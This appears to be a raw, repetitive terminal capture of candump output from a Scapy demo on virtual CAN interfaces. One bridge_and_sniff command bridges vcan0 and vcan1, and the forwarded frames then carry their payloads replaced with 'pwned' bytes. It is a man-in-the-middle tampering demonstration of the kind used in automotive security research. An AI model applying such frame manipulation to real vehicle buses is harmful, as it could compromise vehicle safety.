65 64 00 │ vcan0 6F5 [6] 8E CD 0C 53 06 33 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 6D1 [3] 4E 04 95 vcan1 6D1 [3] 70 77 6E │ vcan0 6D1 [3] 4E 04 95 vcan1 6D1 [3] 70 77 6E │ vcan0 778 [8] 38 1D 43 27 54 91 EB 51 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 260 [0] vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 057 [8] DF 60 EE 1C 6B FD 7F 20 vcan1 260 [0] │ vcan0 6F5 [6] 8E CD 0C 53 06 33 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 6D1 [3] 4E 04 95 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 778 [8] 38 1D 43 27 54 91 EB 51 vcan1 6D1 [3] 70 77 6E │ vcan0 703 [8] FD BE AF 7A BF 16 9B 71 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 057 [8] DF 60 EE 1C 6B FD 7F 20 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 6F5 [6] 8E CD 0C 53 06 33 vcan1 260 [0] │ vcan0 6D1 [3] 4E 04 95 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 778 [8] 38 1D 43 27 54 91 EB 51 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 703 [8] FD BE AF 7A BF 16 9B 71 vcan1 6D1 [3] 70 77 6E │ vcan0 313 [8] 44 91 AE 4D 05 3C C7 33 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 6F5 [6] 8E CD 0C 53 06 33 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 6D1 [3] 4E 04 95 vcan1 260 [0] │ vcan0 778 [8] 38 1D 43 27 54 91 EB 51 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 703 [8] FD BE AF 7A BF 16 9B 71 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 313 [8] 44 91 AE 4D 05 3C C7 33 vcan1 6D1 [3] 70 77 6E │ vcan0 7A9 [2] 26 DE vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 6D1 [3] 4E 04 95 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 778 [8] 38 1D 43 27 54 91 EB 51 vcan1 260 [0] │ vcan0 703 [8] FD BE AF 7A BF 16 9B 71 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 313 [8] 44 91 AE 4D 05 3C C7 33 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 7A9 [2] 26 DE vcan1 6D1 [3] 70 77 6E │ vcan0 132 [4] E4 58 93 26 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 778 [8] 38 1D 43 27 54 91 EB 51 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 703 [8] FD BE AF 7A BF 16 9B 71 vcan1 260 [0] │ vcan0 313 [8] 44 91 AE 4D 05 3C C7 33 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 7A9 [2] 26 DE vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 132 [4] E4 58 93 26 vcan1 6D1 [3] 70 77 6E │ vcan0 2A0 [3] F5 36 E5 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 703 [8] FD BE AF 7A BF 16 9B 71 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 313 [8] 44 91 AE 4D 05 3C C7 33 vcan1 260 [0] │ vcan0 7A9 [2] 26 DE vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 132 [4] E4 58 93 26 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 2A0 [3] F5 36 E5 vcan1 6D1 [3] 70 77 6E │ vcan0 0CA [3] 9B 8C 89 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 313 [8] 44 91 AE 4D 05 3C C7 33 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 7A9 [2] 26 DE vcan1 260 [0] │ vcan0 132 [4] E4 58 93 26 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 2A0 [3] F5 36 E5 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 0CA [3] 9B 8C 89 vcan1 6D1 [3] 70 77 6E │ vcan0 506 [8] E7 7F 68 23 7E EC 3E 7A vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 313 [8] 44 91 AE 4D 05 3C C7 33 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 7A9 [2] 26 DE vcan1 260 [0] vcan0 132 [4] E4 58 93 26 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 2A0 [3] F5 36 E5 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 0CA [3] 9B 8C 89 vcan1 6D1 [3] 70 77 6E vcan0 506 [8] E7 7F 68 23 7E EC 3E 7A vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 7A9 [2] 26 DE vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 132 [4] E4 58 93 26 vcan1 260 [0] vcan0 2A0 [3] F5 36 E5 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 0CA [3] 9B 8C 89 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 506 [8] E7 7F 68 23 7E EC 3E 7A vcan1 6D1 [3] 70 77 6E vcan0 6A5 [8] D2 7D 2A 4C A8 0D 45 2B vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 132 [4] E4 58 93 26 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 2A0 [3] F5 36 E5 vcan1 260 [0] vcan0 0CA [3] 9B 8C 89 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 506 [8] E7 7F 68 23 7E EC 3E 7A vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 6A5 [8] D2 7D 2A 4C A8 0D 45 2B vcan1 6D1 [3] 70 77 6E vcan0 1D7 [0] vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 2A0 [3] F5 36 E5 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 0CA [3] 9B 8C 89 vcan1 260 [0] vcan0 506 [8] E7 7F 68 23 7E EC 3E 7A vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 6A5 [8] D2 7D 2A 4C A8 0D 45 2B vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 1D7 [0] vcan1 6D1 [3] 70 77 6E vcan0 0AC [8] F0 78 F1 17 55 F0 B0 06 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 0CA [3] 9B 8C 89 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 506 [8] E7 7F 68 23 7E EC 3E 7A vcan1 260 [0] vcan0 6A5 [8] D2 7D 2A 4C A8 0D 45 2B vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 1D7 [0] vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 0AC [8] F0 78 F1 17 55 F0 B0 06 vcan1 6D1 [3] 70 77 6E vcan0 41E [6] 5E D2 6E 47 51 FD vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 506 [8] E7 7F 68 23 7E EC 3E 7A vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 6A5 [8] D2 7D 2A 4C A8 0D 45 2B vcan1 260 [0] vcan0 1D7 [0] vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 0AC [8] F0 78 F1 17 55 F0 B0 06 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 41E [6] 5E D2 6E 47 51 FD vcan1 6D1 [3] 70 77 6E vcan0 2DA [2] DB 36 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 6A5 [8] D2 7D 2A 4C A8 0D 45 2B vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 1D7 [0] vcan1 260 [0] vcan0 0AC [8] F0 78 F1 17 55 F0 B0 06 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 41E [6] 5E D2 6E 47 51 FD vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 2DA [2] DB 36 vcan1 6D1 [3] 70 77 6E vcan0 506 [0] vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 1D7 [0] vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 0AC [8] F0 78 F1 17 55 F0 B0 06 vcan1 260 [0] vcan0 41E [6] 5E D2 6E 47 51 FD vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 2DA [2] DB 36 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 506 [0] vcan1 6D1 [3] 70 77 6E vcan0 253 [8] 6B CD 44 3F 59 77 37 29 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 0AC [8] F0 78 F1 17 55 F0 B0 06 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 41E [6] 5E D2 6E 47 51 FD vcan1 260 [0] vcan0 2DA [2] DB 36 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 506 [0] vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 253 [8] 6B CD 44 3F 59 77 37 29 vcan1 6D1 [3] 70 77 6E vcan0 494 [2] D8 63 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 41E [6] 5E D2 6E 47 51 FD vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 2DA [2] DB 36 vcan1 260 [0] vcan0 506 [0] vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 253 [8] 6B CD 44 3F 59 77 37 29 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 494 [2] D8 63 vcan1 6D1 [3] 70 77 6E vcan0 271 [8] E2 88 77 2D 48 1C 48 61 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 2DA [2] DB 36 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 506 [0] vcan1 260 [0] vcan0 253 [8] 6B CD 44 3F 59 77 37 29 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 494 [2] D8 63 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 271 [8] E2 88 77 2D 48 1C 48 61 vcan1 6D1 [3] 70 77 6E vcan0 67A [8] 33 59 72 45 26 2F 16 47 ^C[cars@scapy folders 2019]$ vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 506 [0] vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 253 [8] 6B CD 44 3F 59 77 37 29 vcan1 260 [0] vcan0 494 [2] D8 63 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 271 [8] E2 88 77 2D 48 1C 48 61 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 67A [8] 33 59 72 45 26 2F 16 47 vcan1 6D1 [3] 70 77 6E vcan0 2F6 [3] 7B 1F C7 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 253 [8] 6B CD 44 3F 59 77 37 29 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 494 [2] D8 63 vcan1 260 [0] vcan0 271 [8] E2 88 77 2D 48 1C 48 61 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 67A [8] 33 59 72 45 26 2F 16 47 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 2F6 [3] 7B 1F C7 vcan1 6D1 [3] 70 77 6E vcan0 139 [8] 65 4C C4 52 13 2C 7B 64 ^C[cars@scapy folders 2019]$ candump vcan1 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 494 [2] D8 63 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 271 [8] E2 88 77 2D 48 1C 48 61 vcan1 260 [0] vcan0 67A [8] 33 59 72 45 26 2F 16 47 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 2F6 [3] 7B 1F C7 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 139 [8] 65 4C C4 52 13 2C 7B 64 vcan1 6D1 [3] 70 77 6E vcan0 51C [0] vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 271 [8] E2 88 77 2D 48 1C 48 61 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 67A [8] 33 59 72 45 26 2F 16 47 vcan1 260 [0] vcan0 2F6 [3] 7B 1F C7 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 139 [8] 65 4C C4 52 13 2C 7B 64 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 51C [0] vcan1 6D1 [3] 70 77 6E vcan0 110 [8] F2 CF 4D 3F 63 63 41 3E vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 67A [8] 33 59 72 45 26 2F 16 47 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 2F6 [3] 7B 1F C7 vcan1 260 [0] vcan0 139 [8] 65 4C C4 52 13 2C 7B 64 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 51C [0] vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 110 [8] F2 CF 4D 3F 63 63 41 3E vcan1 6D1 [3] 70 77 6E vcan0 448 [8] BD DA 78 67 DC F8 EF 75 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 2F6 [3] 7B 1F C7 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 139 [8] 65 4C C4 52 13 2C 7B 64 vcan1 260 [0] vcan0 51C [0] vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 110 [8] F2 CF 4D 3F 63 63 41 3E vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 448 [8] BD DA 78 67 DC F8 EF 75 vcan1 6D1 [3] 70 77 6E vcan0 2AF [5] 16 74 22 78 20 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 139 [8] 65 4C C4 52 13 2C 7B 64 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 51C [0] vcan1 260 [0] vcan0 110 [8] F2 CF 4D 3F 63 63 41 3E vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 448 [8] BD DA 78 67 DC F8 EF 75 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 2AF [5] 16 74 22 78 20 vcan1 6D1 [3] 70 77 6E vcan0 03F [8] 68 F1 E0 6F BA 3E 0B 31 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 51C [0] vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 110 [8] F2 CF 4D 3F 63 63 41 3E vcan1 260 [0] vcan0 448 [8] BD DA 78 67 DC F8 EF 75 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 2AF [5] 16 74 22 78 20 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 03F [8] 68 F1 E0 6F BA 3E 0B 31 vcan1 6D1 [3] 70 77 6E vcan0 243 [8] E0 6D 21 78 39 0D D8 24 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 110 [8] F2 CF 4D 3F 63 63 41 3E vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 448 [8] BD DA 78 67 DC F8 EF 75 vcan1 260 [0] vcan0 2AF [5] 16 74 22 78 20 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 03F [8] 68 F1 E0 6F BA 3E 0B 31 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 243 [8] E0 6D 21 78 39 0D D8 24 vcan1 6D1 [3] 70 77 6E vcan0 4BF [8] 4D 5C C1 76 F9 45 85 28 ^C[cars@scapy folders 2019]$ candump vcan1 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 448 [8] BD DA 78 67 DC F8 EF 75 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 2AF [5] 16 74 22 78 20 vcan1 260 [0] vcan0 03F [8] 68 F1 E0 6F BA 3E 0B 31 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 243 [8] E0 6D 21 78 39 0D D8 24 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 4BF [8] 4D 5C C1 76 F9 45 85 28 vcan1 6D1 [3] 70 77 6E vcan0 735 [3] 0C 72 00 ^C[cars@scapy folders 2019]$ candump vcan1 / vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 2AF [5] 16 74 22 78 20 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 03F [8] 68 F1 E0 6F BA 3E 0B 31 vcan1 260 [0] vcan0 243 [8] E0 6D 21 78 39 0D D8 24 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 4BF [8] 4D 5C C1 76 F9 45 85 28 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 735 [3] 0C 72 00 vcan1 6D1 [3] 70 77 6E vcan0 3F3 [8] 73 9E 12 13 04 1D B4 5F vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 03F [8] 68 F1 E0 6F BA 3E 0B 31 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 243 [8] E0 6D 21 78 39 0D D8 24 vcan1 260 [0] vcan0 4BF [8] 4D 5C C1 76 F9 45 85 28 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 735 [3] 0C 72 00 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 3F3 [8] 73 9E 12 13 04 1D B4 5F vcan1 6D1 [3] 70 77 6E vcan0 437 [5] 67 80 F5 1D 7F vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 243 [8] E0 6D 21 78 39 0D D8 24 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 4BF [8] 4D 5C C1 76 F9 45 85 28 vcan1 260 [0] vcan0 735 [3] 0C 72 00 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 3F3 [8] 73 9E 12 13 04 1D B4 5F vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 437 [5] 67 80 F5 1D 7F vcan1 6D1 [3] 70 77 6E vcan0 3C2 [4] 5B A9 46 74 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 4BF [8] 4D 5C C1 76 F9 45 85 28 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 735 [3] 0C 72 00 vcan1 260 [0] vcan0 3F3 [8] 73 9E 12 13 04 1D B4 5F vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 437 [5] 67 80 F5 1D 7F vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 3C2 [4] 5B A9 46 74 vcan1 6D1 [3] 70 77 6E vcan0 1B9 [2] 91 CB vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 735 [3] 0C 72 00 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 3F3 [8] 73 9E 12 13 04 1D B4 5F vcan1 260 [0] vcan0 437 [5] 67 80 F5 1D 7F vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 3C2 [4] 5B A9 46 74 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 1B9 [2] 91 CB vcan1 6D1 [3] 70 77 6E vcan0 26B [8] B3 F8 F8 3B AE C4 F4 01 ^C[cars@scapy folders 2019]$ candump vcan1 - vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 3F3 [8] 73 9E 12 13 04 1D B4 5F vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 437 [5] 67 80 F5 1D 7F vcan1 260 [0] vcan0 3C2 [4] 5B A9 46 74 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 1B9 [2] 91 CB vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 26B [8] B3 F8 F8 3B AE C4 F4 01 vcan1 6D1 [3] 70 77 6E vcan0 796 [3] E7 D1 CC ^C[cars@scapy folders 2019]$ candump vcan1 -a vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 437 [5] 67 80 F5 1D 7F vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 3C2 [4] 5B A9 46 74 vcan1 260 [0] vcan0 1B9 [2] 91 CB vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 26B [8] B3 F8 F8 3B AE C4 F4 01 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 796 [3] E7 D1 CC vcan1 6D1 [3] 70 77 6E vcan0 3EF [4] 4E 6A 3C 21 vcan1 7BC [8] 70 77 6E 65 64 00 00 00 vcan0 3C2 [4] 5B A9 46 74 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 1B9 [2] 91 CB vcan1 260 [0] vcan0 26B [8] B3 F8 F8 3B AE C4 F4 01 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 796 [3] E7 D1 CC vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 3EF [4] 4E 6A 3C 21 vcan1 6D1 [3] 70 77 6E vcan0 6E7 [8] 76 0F 78 33 DB 02 9E 77 ^C[cars@scapy folders 2019]$ candump vcan1 -a vcan0 6E7 [8] 76 0F 78 33 DB 02 9E 77 ^C[cars@scapy folders 2019]$ candump vcan1 -a vcan0 7F5 [8] DF 1F 52 57 2C B4 E5 09 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 26B [8] B3 F8 F8 3B AE C4 F4 01 vcan1 260 [0] vcan0 796 [3] E7 D1 CC vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 3EF [4] 4E 6A 3C 21 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 6E7 [8] 76 0F 78 33 DB 02 9E 77 vcan1 6D1 [3] 70 77 6E vcan0 7F5 [8] DF 1F 52 57 2C B4 E5 09 ^C[cars@scapy folders 2019]$ candump vcan1 -a vcan0 44F [6] AB 64 3C 08 12 28 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 796 [3] E7 D1 CC vcan1 260 [0] vcan0 3EF [4] 4E 6A 3C 21 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 6E7 [8] 76 0F 78 33 DB 02 9E 77 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 7F5 [8] DF 1F 52 57 2C B4 E5 09 vcan1 6D1 [3] 70 77 6E vcan0 44F [6] AB 64 3C 08 12 28 ^C[cars@scapy folders 2019]$ candump vcan1 -a vcan0 36B [6] 83 1E 11 1C 24 95 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 3EF [4] 4E 6A 3C 21 vcan1 260 [0] vcan0 6E7 [8] 76 0F 78 33 DB 02 9E 77 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 7F5 [8] DF 1F 52 57 2C B4 E5 09 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 44F [6] AB 64 3C 08 12 28 vcan1 6D1 [3] 70 77 6E vcan0 36B [6] 83 1E 11 1C 24 95 ^C[cars@scapy folders 2019]$ candump vcan1 -a vcan0 378 [5] 1D 4F 01 16 E3 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 6E7 [8] 76 0F 78 33 DB 02 9E 77 vcan1 260 [0] vcan0 7F5 [8] DF 1F 52 57 2C B4 E5 09 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 44F [6] AB 64 3C 08 12 28 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 36B [6] 83 1E 11 1C 24 95 vcan1 6D1 [3] 70 77 6E vcan0 378 [5] 1D 4F 01 16 E3 ^C[cars@scapy folders 2019]$ candump vcan1 -a vcan0 70F [0] vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 vcan0 7F5 [8] DF 1F 52 57 2C B4 E5 09 vcan1 260 [0] vcan0 44F [6] AB 64 3C 08 12 28 vcan1 057 [8] 70 77 6E 65 64 00 00 00 vcan0 36B [6] 83 1E 11 1C 24 95 vcan1 6F5 [6] 70 77 6E 65 64 00 vcan0 378 [5] 1D 4F 01 16 E3 vcan1 6D1 [3] 70 77 6E vcan0 70F [0] ^C[cars@scapy folders 2019]$ candump vcan1 -a vcan0 664 [8] FA D2 40 6C 53 A2 17 00 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 7F5 [8] DF 1F 52 57 2C B4 E5 09 vcan1 260 [0] │ vcan0 44F [6] AB 64 3C 08 12 28 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 36B [6] 83 1E 11 1C 24 95 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 378 [5] 1D 4F 01 16 E3 vcan1 6D1 [3] 70 77 6E │ vcan0 70F [0] ^C[cars@scapy folders 2019]$ candump vcan1 -a │ vcan0 664 [8] FA D2 40 6C 53 A2 17 00 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 44F [6] AB 64 3C 08 12 28 vcan1 260 [0] │ vcan0 36B [6] 83 1E 11 1C 24 95 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 378 [5] 1D 4F 01 16 E3 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 70F [0] vcan1 6D1 [3] 70 77 6E │ vcan0 664 [8] FA D2 40 6C 53 A2 17 00 ^C[cars@scapy folders 2019]$ candump vcan1 -a │ vcan0 2AD [8] 78 15 39 55 94 E1 52 28 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 36B [6] 83 1E 11 1C 24 95 vcan1 260 [0] │ vcan0 378 [5] 1D 4F 01 16 E3 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 70F [0] vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 664 [8] FA D2 40 6C 53 A2 17 00 vcan1 6D1 [3] 70 77 6E │ vcan0 2AD [8] 78 15 39 55 94 E1 52 28 ^C[cars@scapy folders 2019]$ candump vcan1 -a │ vcan0 1A4 [8] 6F E4 F0 1F 99 99 FE 34 vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 378 [5] 1D 4F 01 16 E3 vcan1 260 [0] │ vcan0 70F [0] vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 664 [8] FA D2 40 6C 53 A2 17 00 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 2AD [8] 78 15 39 55 94 E1 52 28 vcan1 6D1 [3] 70 77 6E │ vcan0 1A4 [8] 6F E4 F0 1F 99 99 FE 34 ^C[cars@scapy folders 2019]$ candump vcan1 -a │ vcan0 2D9 [8] C5 4D E4 3E 28 EF 26 68 >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 70F [0] vcan1 260 [0] │ vcan0 664 [8] FA D2 40 6C 53 A2 17 00 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 2AD [8] 78 15 39 55 94 E1 52 28 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 1A4 [8] 6F E4 F0 1F 99 99 FE 34 vcan1 6D1 [3] 70 77 6E │ vcan0 2D9 [8] C5 4D E4 3E 28 EF 26 68 ^C[cars@scapy folders 2019]$ candump vcan1 -a │ vcan0 495 [0] vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 664 [8] FA D2 40 6C 53 A2 17 00 vcan1 260 [0] │ vcan0 2AD [8] 78 15 39 55 94 E1 52 28 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 1A4 [8] 6F E4 F0 1F 99 99 FE 34 vcan1 6F5 [6] 70 77 6E 65 64 00 │ vcan0 2D9 [8] C5 4D E4 3E 28 EF 26 68 vcan1 6D1 [3] 70 77 6E │ vcan0 495 [0] ^C[cars@scapy folders 2019]$ candump vcan1 -a │ vcan0 076 [8] 24 35 54 72 EF EB 8F 2C vcan1 664 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 664 [8] FA D2 40 6C 53 A2 17 00 vcan1 2AD [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 2AD [8] 78 15 39 55 94 E1 52 28 vcan1 1A4 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 1A4 [8] 6F E4 F0 1F 99 99 FE 34 vcan1 2D9 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 2D9 [8] C5 4D E4 3E 28 EF 26 68 vcan1 495 [0] '' │ vcan0 495 [0] vcan1 076 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 076 [8] 24 35 54 72 EF EB 8F 2C vcan1 664 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 2AD [8] 78 15 39 55 94 E1 52 28 vcan1 2AD [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 1A4 [8] 6F E4 F0 1F 99 99 FE 34 vcan1 1A4 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 2D9 [8] C5 4D E4 3E 28 EF 26 68 vcan1 2D9 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 495 [0] vcan1 495 [0] '' │ vcan0 076 [8] 24 35 54 72 EF EB 8F 2C vcan1 076 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7D3 [2] D2 31 vcan1 7D3 [2] 70 77 'pw' │ vcan0 7D3 [2] D2 31 vcan1 7D3 [2] 70 77 'pw' │ vcan0 412 [4] 87 75 06 4C vcan1 412 [4] 70 77 6E 65 'pwne' │ vcan0 412 [4] 87 75 06 4C vcan1 412 [4] 70 77 6E 65 